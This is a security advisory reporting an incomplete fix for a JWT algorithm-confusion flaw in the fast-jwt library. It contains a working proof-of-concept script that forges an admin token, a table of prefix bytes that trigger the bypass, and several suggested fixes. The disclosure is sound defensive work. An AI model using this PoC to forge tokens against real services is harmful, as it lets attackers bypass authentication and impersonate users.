### Summary
The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.
**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).
**Verified on
[email protected] (latest as of 2026-04-23) with a 10-line PoC.**
### Details
Post-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):
```js
function performDetectPublicKeyAlgorithms(key) {
const trimmedKey = key.trim() // <-- CVE-2026-34950 patch added this
if (publicKeyPemMatcher.test(trimmedKey)) {
// treat as RSA/EC public key
...
}
// fall-through: treat as HMAC secret <-- bug: reachable via non-whitespace prefix
...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
```
**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.
Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).
### PoC
```js
'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();
// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;
const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);
```
**Observed output (2026-04-23, fresh npm install):**
```
Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2
```
### Full bypass matrix (all verified accepting a forged admin token)
| Leading content | Accepted as admin? |
|---|:-:|
| `# some comment\n` + PEM | ✅ BYPASS |
| `U+0000` (NUL) + PEM | ✅ BYPASS |
| `U+0001` (SOH) + PEM | ✅ BYPASS |
| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |
| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |
| `U+007F` (DEL) + PEM | ✅ BYPASS |
| `U+200B` (ZWSP) + PEM | ✅ BYPASS |
| `U+200D` (ZWJ) + PEM | ✅ BYPASS |
| `HTTP/1.1 200 OK\r\n\r\n` + PEM | ✅ BYPASS |
| PGP-wrapper text + PEM | ✅ BYPASS |
| `.` + PEM | ✅ BYPASS |
| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |
### Defense matrix (which caller configs are vulnerable)
| Caller config | Vulnerable? |
|---|:-:|
| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |
| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |
| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |
| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |
### Impact
1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.
2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).
3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.
### Suggested fix
**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:
```js
const pemStart = trimmedKey.indexOf('-----BEGIN')
if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }
```
**Option B (strict, recommended)** — require the key to be exactly a PEM block:
```js
const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey)
if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }
```
**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:
```js
if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {
throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')
}
```
### Test coverage gap
`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\n', ' ', ' \n', '\n ', '\t\t']`). Add coverage for:
- Control bytes (U+0000-U+001F, U+007F)
- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)
- Comment prefixes (`#`, `//`, `;`, `--`)
- Mixed-content wrappers (PGP blocks, HTTP headers)
- Arbitrary binary prefix bytes
### Credit
Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.